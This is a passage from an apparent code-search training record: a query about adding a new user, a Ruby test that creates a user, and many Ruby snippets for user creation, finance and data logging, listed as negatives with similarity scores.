0...4\n data_by_conc[\"100_#{i}\"][0] += dm[i, j].to_f\n data_by_conc[\"100_#{i}\"][1] += 1\n end\n for j in 4...8\n data_by_conc[\"200_#{i}\"][0] += dm[i, j].to_f\n data_by_conc[\"200_#{i}\"][1] += 1\n end\n for j in 8...12\n data_by_conc[\"300_#{i}\"][0] += dm[i, j].to_f\n data_by_conc[\"300_#{i}\"][1] += 1\n end\n end\n # add lud averages to result hash\n for i in 1..3\n lud_avg = data_by_conc[\"#{i}00_4\"][0] / data_by_conc[\"#{i}00_4\"][1]\n sol_avg = data_by_conc[\"#{i}00_5\"][0] / data_by_conc[\"#{i}00_5\"][1]\n result[\"lud#{i}00\"] = (lud_avg - sol_avg).round(5) # Returns blanked averages\n end\n end\n result\n end", "def calculateInterest\n\t\tinterest = 0\n\t\[email protected] do |trans|\n\t\t\tinterest += -1 * ((31 - trans[0]) * trans[-1] * @APR / 365)\n\t\tend\n\t\tinterest < 0 ? 0 : interest.round(2)\n\tend", "def get_library_call_feature\n library_functions = get_library_functions_list\n puts \"[# of all library functions called]: \" + library_functions.length.to_s\n \n library_call_feature = Array.new(@indexes.length) { Array.new(library_functions.length, 0)}\n \n @indexes.each_with_index do |index, i|\n # Read JSON data for ith submission\n hash = JSON.parse(IO.read(@feature_dir + \"/library_calls/#{index.to_s}.json\"))\n library_functions.each_with_index do |function, j|\n if hash[function]\n library_call_feature[i][j] = hash[function]\n end\n end\n end\n return library_call_feature\n end", "def update_frequency\n metadata[dataset_uri][dct.accrualPeriodicity.to_s][0] rescue nil\n end", "def get_datalog_trace\r\n transaction_id=params[0]\r\n trace_label=params[1]\r\n site_id=params[2]\r\n start_freq=params[3]\r\n stop_freq=params[4]\r\n start_ts=params[5] \r\n stop_ts=params[6] \r\n freq_res=params[7] \r\n ts_res=params[8]\r\n datalog_range=Datalog.get_range(site_id)\r\n logger.debug datalog_range.inspect()\r\n logger.info(\"START TS : #{start_ts}\")\r\n logger.info(\"STOP TS : #{stop_ts}\")\r\n ds={}\r\n\t \r\n\t###TODO\r\n\t\r\n\t \r\n\t \r\n if (datalog_range.nil?) || datalog_range[:max_ts].nil? || datalog_range[:max_ts].nil?\r\n ds[\"min_freq\"]=datalog_range[:min_freq]\r\n ds[\"max_freq\"]=datalog_range[:max_freq]\r\n ds[\"min_ts\"]=nil\r\n ds[\"max_ts\"]=nil\r\n ds[\"transaction_id\"]=transaction_id\r\n ds[\"trace_label\"]=trace_label\r\n else\r\n one_hour_ago=datalog_range[:max_ts]-3600\r\n logger.debug \"One hour ago #{one_hour_ago.to_s} Most Recent #{datalog_range[:max_ts]}\"\r\n overtime_flag=params.key?(9) ? params[9] : false\r\n site=Site.find(site_id)\r\n profile=nil\r\n anl=nil\r\n if site.nil?\r\n raise \"Failed to find Site.\"\r\n else\r\n logger.debug \"Getting Profile for site #{site.id}\"\r\n profile=site.get_profile()\r\n end\r\n datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>start_ts,\r\n :stop_ts=>stop_ts,\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n recent_datalog=Datalog.summarize_datalogs(\r\n {\r\n :site_id=>site_id, \r\n :start_ts=>one_hour_ago,\r\n :stop_ts=>datalog_range[:max_ts],\r\n :start_freq=>start_freq,\r\n :stop_freq=>stop_freq\r\n },\r\n overtime_flag)\r\n ds[\"recent\"]=recent_datalog[:max]\r\n datalog_list=[]\r\n ds[\"trace_label\"]=trace_label\r\n ds[\"avg\"]=datalog[:avg]\r\n ds[\"min\"]=datalog[:min]\r\n ds[\"max\"]=datalog[:max]\r\n ds[\"total\"]=datalog[:total]\r\n ds[\"noise_floor\"]=datalog[:noise_floor] if overtime_flag\r\n logger.debug \"Datalog length #{ds[\"max\"].length}\"\r\n if ((!profile.nil?) && (!overtime_flag))\r\n logger.debug \"Got Profile #{profile.name()}, #{start_freq}, #{stop_freq}\"\r\n ds[\"profile_id\"]=profile.id\r\n ds[\"profile_name\"]=profile.name\r\n ds[\"profile_ref\"]=profile.trace(start_freq, stop_freq)\r\n #ds[\"profile_ref\"]=profile.trace()\r\n ds[\"profile_major\"]=profile.major_offset\r\n ds[\"profile_minor\"]=profile.minor_offset\r\n ds[\"profile_loss\"]=profile.loss_offset\r\n ds[\"profile_loss_flag\"]=profile.link_loss\r\n else\r\n logger.debug \"Did not get Profile #{profile.inspect()}\"\r\n end\r\n logger.debug datalog.inspect()\r\n logger.debug \"Finished Total\"\r\n if datalog.key?(:freq)\r\n ds[\"freq\"]=datalog[:freq]\r\n else\r\n ds[\"freq\"]=[]\r\n end\r\n if datalog.key?(:time)\r\n ds[\"time\"]=datalog[:time]\r\n else\r\n ds[\"time\"]=[]\r\n end\r\n ds[\"min_freq\"]=datalog[:min_freq]\r\n ds[\"max_freq\"]=datalog[:max_freq]\r\n ds[\"min_ts\"]=datalog[:min_ts]\r\n ds[\"max_ts\"]=datalog[:max_ts]\r\n ds[\"transaction_id\"]=transaction_id\r\n \r\n \r\n\t \r\n logger.debug ds[\"freq\"].inspect()\r\n logger.debug \"Finished Transaction. Now building XML\"\r\n end\r\n respond_to do |format|\r\n format.amf { \r\n render :amf => ds\r\n }\r\n end\r\n end", "def element_rate(element_id)\n rank = enemy.element_ranks[element_id]\n result = [0,200,150,100,50,0,-100][rank]\n for state in states\n result /= 2 if state.element_set.include?(element_id)\n end\n return result\n end", "def anticipated_interest(rate, periods)\n\t\t (1 - (( 1 / ( rate.to_f + 1 )) ** (1.0 / periods)))\n\t\tend", "def calculate_win_broke_fire_rate\n all_cycles_result = []\n win_rate = []\n fire_rate = []\n broke_rate = []\n # todo we can tune this number\n (@number_of_years-100+@fire_age).times do |i|\n all_cycles_result << calculate_one_cycle(i*12)\n end\n number_of_cycles = all_cycles_result.count\n number_of_months = all_cycles_result[0].count\n\n\n (number_of_months/12).times do |year|\n total_win = 0\n total_fire = 0\n total_broke = 0\n number_of_cycles.times do |cycle|\n year_start_month = year*12\n year_end_month = year*12+11\n\n total_win += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == WIN}\n total_fire += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == FIRE}\n total_broke += all_cycles_result[cycle].slice(year_start_month, year_end_month-year_start_month).count{|i| i == BROKE}\n end\n total_count = total_win + total_fire + total_broke\n win_rate << total_win/total_count.to_f\n fire_rate << total_fire/total_count.to_f\n broke_rate << total_broke/total_count.to_f\n end\n return [win_rate, fire_rate, broke_rate]\n end", "def chart_feature \n @feature = params[:feature]\n chart = Ziya::Charts::Column.new( @license ) \n chart.add( :axis_category_text, @date_series )\n chart.add( :series, @feature, MoleLog.compute_series( @feature, @app_name, @min_date, @max_date ) )\n chart.add( :theme, \"moles\" ) \n chart.add( :user_data, :delay, rand( 10 ) + REFRESH_RATE )\n chart.add( :user_data, :url, \"/graphs/update_feature?feature=#{CGI.escape(@feature)}\") \n render :xml => chart.to_xml\n end", "def critical_rate\n return data.critical_rate\n end", "def rateable\n self\n end", "def find_feature\n @feature = Feature.get_by_fid(params[:feature_id]) # Feature.find(params[:feature_id])\n end" ]
[ "0.73559296", "0.62670654", "0.5520189", "0.52100265", "0.5104419", "0.50785017", "0.5056432", "0.5035982", "0.50288516", "0.50062466", "0.4990073", "0.49866426", "0.4964677", "0.49541637", "0.49402267", "0.49398246", "0.49240556", "0.49130794", "0.48848432", "0.4878239", "0.48636943", "0.48627034", "0.48307818", "0.4818019", "0.48064113", "0.4768796", "0.4746874", "0.47405466", "0.4723007", "0.4723007", "0.4707911", "0.4695336", "0.46925196", "0.46769786", "0.4673357", "0.465192", "0.46437472", "0.4634114", "0.46242985", "0.46119845", "0.46093908", "0.46040976", "0.46021494", "0.4599459", "0.45924172", "0.4590584", "0.45904738", "0.4587968", "0.45673874", "0.4557906", "0.4555124", "0.45509657", "0.45482948", "0.4548272", "0.45392767", "0.45293027", "0.45279372", "0.45232838", "0.45223004", "0.45122394", "0.45036766", "0.45036766", "0.44986188", "0.44975725", "0.44975725", "0.44964927", "0.44853082", "0.44845688", "0.4481867", "0.4475518", "0.44738552", "0.4465983", "0.44601715", "0.44565836", "0.4453902", "0.44521376", "0.44521308", "0.4448137", "0.4440716", "0.4439085", "0.4434304", "0.44276613", "0.4421348", "0.44201222", "0.44201115", "0.44172704", "0.44095013", "0.44067356", "0.44043264", "0.44004497", "0.43988544", "0.4387249", "0.43829307", "0.43776906", "0.43731862", "0.43708244", "0.43691924", "0.4367404", "0.43667415", "0.43660176" ]
0.6818577
1
101 add a new user
def test_add_user user = User.new user.name = "testStudent1" user.fullname = "test_Student_1" user.clear_password = "testStudent1" user.clear_password_confirmation = "testStudent1" user.email = "[email protected]" user.role_id = "1" user.save! # an exception is thrown if the user is invalid end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_new_user\r\n touch(\"* id:'#{add}'\")\r\n end", "def add_new_user()\n new_user_link.click\n end", "def addUser(stat,typ,email,pwhash)\n @conn.exec_prepared(\"add_user\",[stat,typ,email,pwhash])\n end", "def _user_add argv = {}\n\t\tf\t\t\t\t= {}\n\t\tf[:tag]\t\t\t= argv[:tag] if argv.include?(:tag)\n\t\tf[:salt] \t\t= _random 5\n\n\t\t#username\n\t\t_throw Sl[:'the user is existing'] if _user? f[:name]\n\t\tf[:name] \t\t= argv[:name]\n\n\t\t#password\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(argv[:pawd] + f[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\t_submit :_user, :fkv => f, :uniq => true\n\t\tuid = Sdb[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def addUser\n id = params[:id] # retrieve project ID from URI route\n proj = Project.find(id)\n if proj.add_user(params[:username],params[:rolename])\n head :no_content\n else\n render_error(:unprocessable_entity, \"Could not add user\")\n end\n end", "def user_add argv = {}\n\t\tfkv\t\t\t= {}\n\t\tfkv[:name]\t= argv[:name]\n\t\tfkv[:level]\t= argv[:level]\n\t\tfkv[:tag]\t= argv[:tag] if argv[:tag]\n\n\t\t# if the username is existed\n\t\t_throw Sl[:'the user is existed'] if user_has? fkv[:name]\n\n\t\t# password\n\t\trequire \"digest/sha1\"\n\t\tfkv[:salt] \t= _random 5\n\t\tfkv[:pawd] \t= Digest::SHA1.hexdigest(argv[:pawd] + fkv[:salt])\n\n# \t\tSdb[:user].insert(f)\n\t\tdata_submit :user_info, :fkv => fkv, :uniq => true\n\n\t\tuid = Sdb[:user_info].filter(:name => fkv[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def registerUser(name, usernumber)\n # puts (\"adding user\")\n @users.store(name, usernumber)\n end", "def register()\n\tentry = {\"userid\" => @userid, \"username\" => @username, \"email\" => @email, \"password\" => @password}\n\tDATABASE.newEntry(\"users\", entry)\n\tend", "def create\n\n @new_user = User.new\n\n new_user = @new_user.add(params['user_name'], params['pswd1'], params['email'], params['full_name'])\n\n if new_user.errors.any?\n redirect_to \"/\", :flash => { :error => 'User already exists'}\n else\n redirect_to \"/main\"\n end\n end", "def add_user(user)\n self.users.create(id: user.id)\n end", "def createUser(nickname) \n usr = User.new(nickname)\n backend_addUser(usr) \n end", "def addUser(id, username)\n @conn.exec_prepared(\"insert_user\", [id, username])\n end", "def add_user(name)\n\t@users << {:name => name}\n end", "def _user_add f = {}\n\t\tf[:salt] \t\t= _random_string 5\n\t\tf[:created] \t= Time.now\n\n\t\trequire \"digest/sha1\"\n\t\tf[:pawd] \t\t= Digest::SHA1.hexdigest(f[:pawd] + f[:salt])\n\n\t\t_throw L[:'the user is existing'] if _user? f[:name]\n\n\t\tDB[:_user].insert(f)\n\t\tuid = DB[:_user].filter(:name => f[:name]).get(:uid)\n\t\tuid ? uid : 0\n\tend", "def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end", "def add_user(user)\r\n\t\tsend(\"ADC\",\"FL N=#{user.name} F=#{user.safenick}\")\r\n\t\tsend(\"ADC\",\"AL N=#{user.name} F=#{user.safenick}\")\r\n\t\t## XXX changes recorded locally by ADD msg back\r\n\t\treturn 1\r\n\tend", "def addUser(course_id, name, slug, course_site, instructors, partners, homepage, counter, url_photo, summary)\n @conn.exec_prepared(\"insert_user\", [course_id, name, slug, course_site, instructors, partners, homepage, counter, url_photo, summary])\n end", "def add\n @user = User.new(params[:user])\n \n if @user.save\n redirect_to @user, notice: 'User was successfully created.'\n else\n render action: \"new\"\n end\n end", "def add_user(name, is_admin, building_id, notify_new_request= false, notify_new_listing=false)\n user_id = User.create(\n first_name: name,\n last_name: 'LNU',\n email: 'jack+' + name + '@jackmgill.com',\n password: 'foo',\n is_admin: is_admin,\n building_id: building_id,\n notify_new_request: notify_new_request,\n notify_new_listing: notify_new_listing\n ).id\n return user_id\nend", "def add_user(db, name, age, current_weight, goal_weight, max_mile)\n\tdb.execute(\"INSERT INTO users (name, age, current_weight, goal_weight, max_mile) \n\tVALUES (?, ?, ?, ?, ?);\", [name, age, current_weight, goal_weight, max_mile]\n\t)\nend", "def user_add(username, password, permissions, type)\n payload = {\n :username => username, \n :password => password, \n :permissions => permissions, \n :type => type, \n :json => 1\n }\n http_post(:uri=>\"/users\", :fields=>x_cookie, :data=>payload)\n end", "def adduser(email, password, first_name, last_name, slug)\n @user = User.invite!(:email => email, :slug => slug) do |u|\n u.skip_invitation = true\n end\n token = @user.instance_variable_get(:@raw_invitation_token)\n User.accept_invitation!(:invitation_token => token,\n :password => password,\n :password_confirmation => password,\n :first_name => first_name,\n :last_name => last_name,\n :slug => slug)\n\n puts \"Created User #{email} with password #{password}\"\n @user\n end", "def add_user(username, password, email)\n password_hash = make_pw_hash(password)\n user = { _id: username, password: password_hash }\n user['email'] = email unless email.empty?\n begin\n # You need to insert the user into the users collection.\n @users.insert_one(user)\n p 'This space intentionally left blank.'\n rescue\n p 'Error MongoDB'\n return nil\n end\n true\n end", "def add_user(login, password)\n GoodData::Domain.add_user(name, login, password)\n end", "def new_user_create\n @user = User.create_user(user_params, current_user.account_id) # New User\n begin\n @user.save!\n @users = User.get_all(current_user.account_id)\n flash[:success] = \"User was created successfully!\"\n rescue => e\n flash[:alert] = \"User creation failed!\"\n end \n end", "def backend_addUser(param) \n @Users.push(param) \n end", "def create_new_user\n name = @prompt.ask(\"what is your name?\".red)\n @user = User.find_by(name: name)\n\n if @user\n # User.exists?(@user.name)\n puts \"Welcome back #{@user.name}\"\n show_current_series\n current_series \n remove_from_series_list\n\n else\n @user= User.create(name: name)\n puts\"Welcome #{@user.name}, to Tv series App\".green\n input = get_user_input\n \n series_id = get_series_information(input)\n puts \"\"\n # binding.pry\n end\n end", "def add\n @user = User.new\n end", "def createNewUser(userName, initialGroup, userEmail, fname, lname, password)\n\n password = password.encrypt\n user = {\"login\" => userName,\n \"group0\" => initialGroup,\n \"email\" => userEmail,\n \"fname\" => fname,\n \"lname\" => lname,\n \"password\" => password,\n \"orga\" => \"0\"}\n saveUser(userName, user)\n end", "def create_user(db, user_name)\n\tdb.execute(\"INSERT INTO users (user_name) VALUES (?)\", [user_name])\n\tputs \"added new user\"\nend", "def newUser\n end", "def test_add_user\n num_users0 = count_users\n proto = User.new('oauth_id' => SecureRandom.uuid, 'name' => 'Test User') \n new_user = @ds.add_or_get_user(proto)\n user = get_user(proto.oauth_id)\n assert(user === new_user)\n assert_equal(num_users0 + 1, count_users)\n assert_equal(user.id, @ds.user_id)\n delete_user(user.oauth_id)\n end", "def user(*args)\n @users << User.add(*args)\n end", "def fAddPunter (name, email, pwd)\n @users.addPunter(name,email,pwd)\n end", "def new_user(username, password, full_name, email)\n representation = form_encoded({ \"user[name]\" => username,\n \"user[password]\" => password,\n \"user[full_name]\" => full_name,\n \"user[email]\" => email }) \n puts representation\n begin\n response = open(@service_root + '/users', :method => :post, \n :body => representation)\n puts \"User #{username} created at #{response.meta['location']}\"\n rescue OpenURI::HTTPError => e\n response_code = e.io.status[0].to_i\n if response_code == \"409\" # Conflict\n puts \"Sorry, there's already a user called #{username}.\"\n else\n raise e\n end\n end\n end", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the user_repository\n @user_repository.add(new_user)\n end", "def add_user(api_level, username, password, type, pin = nil, options = nil)\n payload = { username: username, password: password, type: type }\n\n payload[:pin] = pin if pin\n payload[:options] = options.is_a?(Hash) ? JSON.generate(options) : options if options\n\n res = Connection.post(api_level, payload)\n User.build(res, api_level)\n end", "def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end", "def add_user(user,role = 'Member')\n self.users.create(id: user.id, role: role)\n end", "def add_new_users(users)\n user = users.first\n wait_until_bus_section_load\n user_group_select.select(user.user_group) unless user.user_group.nil?\n storage_type_select.select(user.storage_type) unless user.storage_type.nil?\n storage_max_tb.type_text(user.storage_limit) unless user.storage_limit.nil?\n device_tb.type_text(user.devices) unless user.devices.nil?\n\n unless user.enable_stash.nil?\n if user.enable_stash.downcase.eql?('yes')\n enable_stash_cb.check\n else\n enable_stash_cb.uncheck\n end\n end\n\n users.each_index do |index|\n Log.debug \"##########adding the #{index} user\"\n find(:id, \"user#{index+1}_name\").type_text(users[index].name)\n find(:id, \"user#{index+1}_username\").type_text(users[index].email)\n add_user_btn.click if index != users.length-1\n end\n\n unless user.send_email.nil?\n if user.send_email.downcase.eql?('yes')\n send_emails_cb.check\n else\n send_emails_cb.uncheck\n end\n end\n\n submit_btn.click\n wait_until_bus_section_load\n end", "def add_user(user)\n @users << user\n end", "def new_user\n \n end", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the repo\n @repo.add(new_user)\n end", "def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end", "def create_user(field_hash)\n field_hash[:id] = \"user/new\"\n payload = compose(field_hash)\n resp = @site['user/new/edit'].post payload\n new_id = resp.match(/User\\s*(\\d+)/)\n if new_id.class == MatchData\n new_user = new_id[1]\n else\n new_user = resp\n end\n new_user # return the new user id or the full REST response\n end", "def create_user\n\t \to = [('a'..'z'), ('1'..'9')].map { |i| i.to_a }.flatten\n\t \tstring = (0...9).map { o[rand(o.length)] }.join\n\t \t@user = User.create( username: params[:user][:username],password: string ,rol: params[:user][:rol], name: params[:user][:name], carrier: params[:user][:carrier], email: params[:user][:email], landline: params[:user][:landline], cell_phone: params[:user][:cell_phone], container: params[:user][:cell_phone], liquid_charge: params[:user][:liquid_charge], dry_charge: params[:user][:dry_charge] )\n\t \trespond_to do |format|\n\t \t\tif @user.save\n\t \t\t\tflash[:notice] = 'Se ha creado un nuevo usuario'\n\t \t\t\tformat.html { redirect_to users_path }\n\t \t\t\tformat.js {}\n\t \t\t\tformat.json { render :show, status: :created, location: @user }\n\t \t\telse\n\t \t\t\twarden.custom_failure!\n\t \t\t\tformat.html { render :new }\n\t \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t \t\tend\n\t \tend\n\t end", "def new_user\n\t\t@resource = User.new\n\t\t@resource_name = 'user'\n\tend", "def add_user\n if @experiment.add_user(params[:user_id].to_i)\n redirect_to sti_experiment_path(@project.id, @phase.id, @experiment.type, @experiment), notice: 'User was successfully added'\n else\n redirect_to sti_experiment_path(@project.id, @phase.id, @experiment.type, @experiment), notice: 'User cannot be added'\n end\n end", "def add\n @user = User.new(:username => params[:user], :password => params[:password])\n respond_to do |f|\n @user[:count] = 1\n if @user.save\n # Successfully added to DB\n output = { :errCode => 1, :count => @user[:count] }\n else\n # Failed, need to figure out error code\n error = @user.errors.full_messages[0]\n if error.include? \"taken\"\n output = { :errCode => -2 }\n elsif error.include? \"Password\"\n output = { :errCode => -4 }\n else\n output = { :errCode => -3 }\n end\n end\n f.json { render :json => output }\n end\n end", "def user_add(username, password,\n config = Hash.new)\n default_config = {\n :add_user => true,\n :password => password,\n :comment => \"\",\n :use_mail => true,\n :use_ftp => false,\n :use_file_sharing => false,\n :mail_quota => 200, # in MB\n :virus_check => false,\n :spam_filter => false\n }\n\n user_setting(username,\n default_config.merge(config))\n end", "def add_user(userinfo, password=nil, uid=nil)\n\t\t\t\tnewuser = UserInfo.new()\n\t\t\t\tnewuser.username = nil\n\t\t\t\tnewuser.uid = nil\n\t\t\t\tnewuser.gid = nil\n\t\t\t\tnewuser.fullname = nil\n\t\t\t\tnewuser.shell = nil\n\t\t\t\tnewuser.homedir = nil\n\n\t\t\t\tif(userinfo.respond_to?(:username))\n\t\t\t\t\tif(userinfo.username == nil)\n\t\t\t\t\t\traise(BadUsernameError, \"No username given\")\n\t\t\t\t\tend\n\t\t\t\t\tnewuser.username = userinfo.username\n\t\t\t\t\tnewuser.uid = userinfo.uid\n\t\t\t\t\tnewuser.gid = userinfo.gid\n\t\t\t\t\tnewuser.fullname = userinfo.fullname\n\t\t\t\t\tnewuser.shell = userinfo.shell\n\t\t\t\t\tnewuser.homedir = userinfo.homedir\n\t\t\t\telse\n\t\t\t\t\tnewuser.username = userinfo.to_s()\n\t\t\t\t\tnewuser.uid = uid\n\t\t\t\tend\n\n\t\t\t\tCfruby.controller.attempt(\"Adding user \\\"#{newuser.username}\\\"\", 'destructive') {\n\t\t\t\t\tif(newuser.uid == nil)\n\t\t\t\t\t\tlastuid = `/usr/bin/nidump passwd . | /usr/bin/cut -d: -f3 | /usr/bin/sort -n | /usr/bin/tail -n 1`\n\t\t\t\t\t\tnewuser.uid = lastuid.to_i() + 1\n\t\t\t\t\t\tif(newuser.uid == 0)\n\t\t\t\t\t\t\traise(AddUserError, \"Error generating new uid\")\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\tif(newuser.gid == nil)\n\t\t\t\t\t\tnewuser.gid = newuser.uid\n\t\t\t\t\tend\n\n\t\t\t\t\t`/usr/bin/niutil -create . /users/#{newuser.username}`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} passwd`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} gid #{newuser.gid.to_i()}`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} uid #{newuser.uid.to_i()}`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} shell #{newuser.shell.to_s()}`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} home \"#{newuser.homedir.to_s()}\"`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} realname \"#{newuser.fullname.to_s()}\"`\n\t\t\t\t\t`/usr/bin/niutil -createprop . /users/#{newuser.username} _shadow_passwd`\n\n\t\t\t\t\t# make the home directory\n\t\t\t\t\tif(newuser.homedir != nil and !File.exist?(newuser.homedir.to_s()))\n\t\t\t\t\t\tFileUtils.mkdir_p(newuser.homedir.to_s())\n\t\t\t\t\tend\n\n\t\t\t\t\t# set the password\n\t\t\t\t\tif(password != nil)\n\t\t\t\t\t\tset_password(newuser.username, password)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend", "def add_user(db, user_name)\r\nadd_user = '\r\n\r\n\tINSERT INTO users \r\n\r\n\t(name, cache, expected_income, actual_income, expenses, month)\r\n\tVALUES (?,0,0,0,0,1)'\r\n\tdb.execute(add_user, [user_name]) \r\nend", "def new_user\n\t @user = User.new\t \n\tend", "def create\n user = User.new( first: params[:first],\n last: params[:last],\n username: params[:username],\n password: params[:password])\n if user.save\n flash[:notice] = \"Good job!\"\n redirect_to :root\n else\n flash[:alert] = \"Oops, no bueno\"\n redirect_to :back\n end\n end", "def user_new(opts = {})\n call(\"user\", \"new\", opts)\n end", "def prepAddUser\n sql = %{\n INSERT INTO users\n (status,type,email,password_hash)\n VALUES\n ($1,$2,$3,$4)\n }\n @conn.prepare(\"add_user\",sql)\n end", "def fAddAdmin (name, email, pwd)\n @users.addAdmin(name,email,pwd)\n end", "def create_new\n @user = User.new(params[:user])\n @university = University.find(params[:university])\n \n if @user.save\n @university.users << @user\n record_activity(\"created new user: \" + @user.email)\n # Send an email notification to the user\n UserMailer.welcome_email(@user).deliver\n redirect_to add_user_path, :notice => \"User created successfully\"\n else\n render 'add'\n end\n end", "def add_user(opts)\n generated_pass = rand(10E10).to_s\n data = {\n :login => opts[:login] || opts[:email],\n :firstName => opts[:first_name] || 'FirstName',\n :lastName => opts[:last_name] || 'LastName',\n :password => opts[:password] || generated_pass,\n :verifyPassword => opts[:password] || generated_pass,\n :email => opts[:email] || opts[:login]\n }\n\n # Optional authentication modes\n tmp = opts[:authentication_modes]\n if tmp\n if tmp.is_a? Array\n data[:authenticationModes] = tmp\n elsif tmp.is_a? String\n data[:authenticationModes] = [tmp]\n end\n end\n\n # Optional company\n tmp = opts[:company_name]\n tmp = opts[:company] if tmp.nil? || tmp.empty?\n data[:companyName] = tmp if tmp && !tmp.empty?\n\n # Optional country\n tmp = opts[:country]\n data[:country] = tmp if tmp && !tmp.empty?\n\n # Optional phone number\n tmp = opts[:phone]\n tmp = opts[:phone_number] if tmp.nil? || tmp.empty?\n data[:phoneNumber] = tmp if tmp && !tmp.empty?\n\n # Optional position\n tmp = opts[:position]\n data[:position] = tmp if tmp && !tmp.empty?\n\n # Optional sso provider\n tmp = opts[:sso_provider]\n data['ssoProvider'] = tmp if tmp && !tmp.empty?\n\n # Optional timezone\n tmp = opts[:timezone]\n data[:timezone] = tmp if tmp && !tmp.empty?\n\n c = client(opts)\n\n # TODO: It will be nice if the API will return us user just newly created\n url = \"/gdc/account/domains/#{opts[:domain]}/users\"\n response = c.post(url, :accountSetting => data)\n\n url = response['uri']\n raw = c.get url\n\n # TODO: Remove this hack when POST /gdc/account/domains/{domain-name}/users returns full profile\n raw['accountSetting']['links'] = {} unless raw['accountSetting']['links']\n raw['accountSetting']['links']['self'] = response['uri'] unless raw['accountSetting']['links']['self']\n\n c.create(GoodData::Profile, raw)\n end", "def create_user\n @user = User.new(user_params)\n @user.role = :user\n if @user.save\n correct_cs_entries @user\n correct_ci_entries @user\n render 'objects/user.json'\n else\n @msg = \"Error in generating user\"\n @details = @user.errors\n render \"objects/msg.json\", status: :bad_request\n end\n end", "def add_user(db, user_name)\n db.execute(\"INSERT INTO users (user_name) VALUES (?),\" [user_name])\nend", "def addUsers()\n ch = 1\n\n while ch == 1\n puts \"Enter User Name: \"\n name = gets\n puts \"Enter User Address: \"\n address = gets\n puts \"Enter Book Limit: \"\n book_limit = gets\n # generate unique ID\n @@userid_count+=1\n \n user = User.new(@@userid_count, name, address, Array.new, book_limit)\n @users.push(user)\n\n puts \"Add more users? Enter 1 or 0. YES=1, NO=0 \"\n ch = gets.to_i\n end\n end", "def add_user(user)\n @users[user.name] = user\n end", "def new_user(name)\n User.create(name: name)\nend", "def create_user(options = {})\n post :create, {:user => { :name => 'quire', :point_value => \"2\", :login => 'quire', :email => '[email protected]',\n :password => 'quire', :password_confirmation => 'quire' }.merge(options)}, {:user_id => \"1\"}\n end", "def add nick, email, jid\n\t\[email protected] Hash[\n\t\t\t'nick' => nick,\n\t\t\t'email' => email,\n\t\t\t'jid' => jid,\n\t\t\t'role' => 'user',\n\t\t\t'password' => 'NOTSET']\n\tend", "def add_user(username, password)\n response = RequestResponse.new\n user_resp = self.collection(SYSTEM_USER_COLLECTION).first({:user => username})\n user_resp.callback do |res|\n user = res || {:user => username}\n user['pwd'] = EM::Mongo::Support.hash_password(username, password)\n response.succeed self.collection(SYSTEM_USER_COLLECTION).save(user)\n end\n user_resp.errback { |err| response.fail err }\n response\n end", "def create_new_user(database, username)\n\tdatabase.execute(\"INSERT INTO users (name) VALUES ( ? )\",[username])\nend", "def create user_name\n response = @client.action \"RegisterUser\", \"Name\" => user_name\n\n Response::User.new response.body['RegisterUserResponse']\n end", "def add_user(newuser)\n @group_users.push(newuser)\n end", "def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to users_path, notice: t('users.update.updated')\n else\n @page_title = t(\"actions.new_user\")\n render action: 'new'\n end\n end", "def add_user(username, password, attributes = {})\n @users[username] = {}\n @users[username][:password] = password\n if attributes.empty?\n @users[username][:attributes] = {\n 'User-Name' => username,\n 'Filter-Id' => 60\n }\n else\n @users[username][:attributes] = attributes\n end\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {status: 1, id: @user.id.to_s, notice: \"新增成功W\", errors: []}\n else\n render json: {status: -1, notice: \"新增失败\", errors: @user.errors.full_messages}\n end\n end", "def add_to_database\n if self.valid?\n User.add({\"name\" => \"#{self.name}\"})\n else\n false\n end\n end", "def create_user\n User.create name: \"test\", email: \"[email protected]\", password: \"123456\"\n end", "def create\n extuser = User.find_by(username: user_params[:username])\n if(extuser.nil?)\n @user = User.new(user_params)\n @user.high_score = 0\n @user.save!\n auth_token = AuthenticateUser.new(user_params[:username], user_params[:password]).call\n response = { message: Message.account_created, auth_token: auth_token, high_score: 0 }\n json_response(response, :created)\n else\n response = { message: Message.dublicate_user }\n json_response(response, :bad_request)\n end \n end", "def 